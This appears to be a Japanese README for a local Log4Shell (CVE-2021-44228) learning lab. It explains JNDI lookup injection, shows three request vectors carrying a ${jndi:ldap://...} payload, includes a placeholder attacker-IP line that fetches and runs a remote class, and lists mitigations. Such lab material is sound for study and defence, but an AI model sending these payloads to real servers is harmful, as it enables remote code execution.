⚠️ 免責事項:このプロジェクトはセキュリティ学習と技術研究のみを目的としており、すべての脆弱性環境はローカルで構築されており、実際のターゲットに対するテストは行われていません。違法な目的には使用しないでください。このプロジェクトの使用によるリスクは利用者自身が負うものとします。
Log4j2 は Java エコシステムで最も広く使用されているログフレームワークです。ログ内で ${...} 構文を使用して動的コンテンツを挿入できる Lookup 機能があります。2.14.1 以下のバージョンでは、ログコンテンツに ${jndi:...} が出現すると、Log4j2 は自動的に指定されたアドレスへ JNDI リクエストを送信し、攻撃者はこれを利用してリモートコード実行(RCE)を実現できます。
この脆弱性は CVE-2021-44228 として識別され、CVSS スコアは 10.0(満点)です。トリガー条件は非常に単純で、Log4j2 を使用するほぼすべての Java アプリケーションに影響し、悪用コストは非常に低くなります。
前提条件:JDK 8+、Maven、Python 3、requests ライブラリ
ステップ 1:脆弱性ラボの起動
IDEA でプロジェクトを開き、VulnApplication.java を実行します。以下の出力が表示されれば起動成功です:
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds
ステップ 2:PoC スクリプトの実行
cd exploit
pip install requests
python exploit.py
${jndi:ldap://127.0.0.1:1389/EvilClass}
URL パラメータを介して payload を注入し、logger.info("User Login: {}", username) をトリガーします:
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)
HTTP リクエストヘッダーを介して payload を注入し、logger.info("User-Agent: {}", headers) をトリガーします:
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)
POST リクエストボディを介して payload を注入し、logger.info("Data: {}", body) をトリガーします:
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)
[+] 接続を受信しました!127.0.0.1:51631 から
[+] 脆弱性が確認されました!Log4j2 が JNDI リクエストを送信しました
[+] CVE-2021-44228 の再現に成功しました
リスナーがラボからの TCP 接続を受信した場合、Log4j2 が ${jndi:...} を解析して LDAP リクエストを送信したことを意味し、脆弱性の存在が確認されます。
Log4j2 の Lookup 機能により、ログ内で ${...} 構文を使用して動的コンテンツを挿入できます。例えば、${env:PATH} で環境変数を読み取り、${sys:user.dir} でシステムプロパティを読み取ります。
JNDI(Java Naming and Directory Interface)は Java の命名・ディレクトリインターフェースであり、アドレスを指定すると検索して結果を返します。返された結果が Java クラスの場合、JVM は自動的にそれをロードして実行します。
① 攻撃者が入力フィールドに ${jndi:ldap://攻撃者IP:1389/EvilClass} を入力
↓
② ウェブサイトが入力を受信し、logger.info() でログを記録
↓
③ Log4j2 がログコンテンツを解析し、${jndi:ldap://...} を検出
↓
④ Log4j2 が LDAP リクエストを送信 → 攻撃者サーバーに接続
↓
⑤ 攻撃者の LDAP サーバーが返信:「このアドレスから EvilClass.class をダウンロードしてください」
↓
⑥ 被害サーバーが EvilClass クラスをダウンロードしてロード
↓
⑦ EvilClass の static コードブロックが自動実行 → RCE(リモートコード実行)
-Dlog4j2.formatMsgNoLookups=true を追加します${jndi: を含むリクエストをブロックしますlog4j2-vuln-lab/
├── pom.xml # Maven 設定、Log4j2 2.14.1 脆弱性バージョンを指定
├── exploit/
│ └── exploit.py # PoC 悪用スクリプト、3 つの攻撃ベクトル + TCP リスナー検証
└── src/main/
├── java/com/vuln/log4j/
│ ├── VulnApplication.java # SpringBoot 起動クラス
│ └── controller/
│ └── UserController.java # 3 つの脆弱性インジェクションポイント(GETパラメータ/UAヘッダー/POSTボディ)
└── resources/
├── application.yml # ポート番号 + ログレベル設定
└── log4j2.xml # Log4j2 設定ファイル